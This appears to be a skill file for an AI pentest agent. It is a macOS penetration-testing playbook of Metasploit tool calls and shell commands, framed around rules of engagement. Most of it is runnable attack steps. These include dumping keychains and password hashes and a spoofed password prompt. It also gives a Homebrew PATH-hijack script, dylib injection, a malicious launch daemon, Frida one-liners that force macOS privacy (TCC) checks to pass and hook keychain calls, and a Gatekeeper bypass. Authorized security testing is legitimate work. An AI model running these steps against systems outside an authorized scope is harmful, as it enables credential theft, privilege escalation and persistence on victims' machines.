macos-pentest

name	macos-pentest
description	Guides macOS penetration testing when ROE includes macOS endpoints. Covers privesc, TCC bypass, keychain abuse, sandbox escape, launch daemon abuse, dylib hijacking, and XPC/Mach service abuse on Intel and Apple Silicon.

macOS Pentest

Prerequisites

• macOS targets are explicitly in engagement ROE.
• Hybrid AD environments: also load internal-ad-pentest for domain-joined Macs.
• Shared Unix patterns: cross-reference linux-pentest for cron, sudo, PATH abuse.

Workflow

Task Progress:
- [ ] Identify macOS version, chip (Intel/ARM), and enrollment (MDM)
- [ ] Enumerate users, TCC permissions, keychain, sensitive locations
- [ ] Test privesc paths (dyld hijack, XPC, entitlements, sandbox bypass)
- [ ] Document with paths and macOS build numbers

Phase 1: Enumeration

System info

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/osx/gather/enum_osx",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_run_post_module(
  module_name="post/osx/gather/enum_collector",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

sw_vers
uname -a
system_profiler SPSoftwareDataType SPHardwareDataType
id
sudo -l
csrutil status
spctl --status

Keychain and sensitive locations

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/osx/gather/hashdump",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)
msf_run_post_module(
  module_name="post/osx/gather/password_prompt_spoof",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

ls -la ~/Library/Keychains/
security dump-keychain ~/Library/Keychains/login.keychain-db
find / -perm -4000 -type f 2>/dev/null

TCC database

MSF: No direct module; use CLI.

CLI fallback:

sqlite3 ~/Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access;"
sudo sqlite3 /Library/Application\ Support/com.apple.TCC/TCC.db "SELECT * FROM access;"

Launch agents and daemons

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/osx/gather/enum_launchagents",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

ls ~/Library/LaunchAgents/
ls /Library/LaunchAgents/
ls /Library/LaunchDaemons/
launchctl list

Phase 2: Privilege escalation

Sudo and PATH hijacking

MSF: No direct module; use CLI.

CLI fallback:

sudo -l
# Homebrew path hijack (ARM: /opt/homebrew/bin)
cat > /opt/homebrew/bin/ls <<'EOF'
#!/bin/bash
if [ "$(id -u)" -eq 0 ]; then whoami > /tmp/privesc; fi
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls

Dylib hijacking

MSF MCP (preferred):

msf_module_check(
  module_name="exploit/osx/local/dyld_print_to_file_root",
  engagement_id="<id>",
  module_type="exploit",
  options={"SESSION": <sid>}
)
msf_run_exploit(
  module_name="exploit/osx/local/dyld_print_to_file_root",
  engagement_id="<id>",
  options={"SESSION": <sid>}
)

CLI fallback:

DYLD_INSERT_LIBRARIES=/tmp/evil.dylib /path/to/vulnerable/binary
otool -L /path/to/binary

SIP blocks many DYLD injections on protected binaries.

Launch daemon abuse

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/osx/manage/launchd",
  engagement_id="<id>",
  session_id=<sid>,
  options={"PAYLOAD": "/tmp/payload.sh", "LABEL": "com.evil.update"}
)

CLI fallback:

sudo launchctl load /Library/LaunchDaemons/com.evil.plist

Requires write to /Library/LaunchDaemons/ or hijack writable script referenced by plist.

Phase 3: TCC bypass (version-specific)

macOS 13 Ventura / 14 Sonoma (CVE-2024-44131 class)

MSF: No direct module; use CLI/Frida.

CLI fallback:

# Symlink race in TCC-protected app data dirs (version-specific PoCs)
# Check target build with: sw_vers -buildVersion

macOS 12 Monterey and earlier

MSF: No direct module; use CLI.

CLI fallback:

# Parent process inheritance: inject into entitled parent via Frida
frida -n "Safari" -l tcc_bypass.js

Frida one-liners

MSF: No direct module; use CLI.

CLI fallback:

# Attach and hook TCC check
frida -U -n com.apple.TCC -l -e 'ObjC.schedule(ObjC.mainQueue, function(){ var cls=ObjC.classes.TCCD; if(cls) Interceptor.attach(cls["- checkAccess:forBundle:"].implementation,{onLeave:function(r){r.replace(1);}}); });'

# Universal SSL pinning bypass on macOS app
frida -U -f com.example.app -l ssl_bypass.js --no-pause

# Keychain dump hook
frida -U -f com.example.app -l -e 'ObjC.schedule(ObjC.mainQueue,function(){var S=ObjC.classes.SecItemCopyMatching;Interceptor.attach(S.implementation,{onEnter:function(a){console.log(ObjC.Object(a[0]).toString());}});});'

AppleScript / Automator inheritance

MSF: No direct module; use CLI.

CLI fallback:

osascript -e 'tell application "System Events" to get properties'
# Abuse apps with prior FDA consent via automation

Phase 4: Keychain abuse

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/osx/gather/hashdump",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

security find-generic-password -a "account" -s "service" -w
security find-internet-password -s "site.com" -w
chainbreaker --dump-keychain ~/Library/Keychains/login.keychain-db

Phase 5: XPC / sandbox escape

MSF MCP (preferred):

msf_run_post_module(
  module_name="post/osx/escalate/tccbypass",
  engagement_id="<id>",
  session_id=<sid>,
  options={}
)

CLI fallback:

codesign -d --entitlements - /path/to/app
class-dump -H /path/to/helper -o headers/
# Craft XPC message to privileged helper with weak validation

Gatekeeper bypass:

xattr -cr /path/to/app
spctl --assess --verbose /path/to/app

Phase 6: MDM and enterprise

MSF: No direct module; use CLI.

CLI fallback:

profiles -P
sudo profiles show -type configuration
systemextensionsctl list
klist

AD-joined Macs: same Kerberos/NTLM attacks as domain members via internal-ad-pentest.

Related skills

• linux-pentest - shared Unix enumeration patterns
• internal-ad-pentest - domain-joined Macs
• mobile-pentest - overlaps with iOS/macOS app testing
• binary-exploit-pentest - Mach-O, ARM64 when exploit dev is in scope
• red-team-evasion - SIP and Gatekeeper OPSEC context
• persistence-pentest - launchd persistence (ROE required)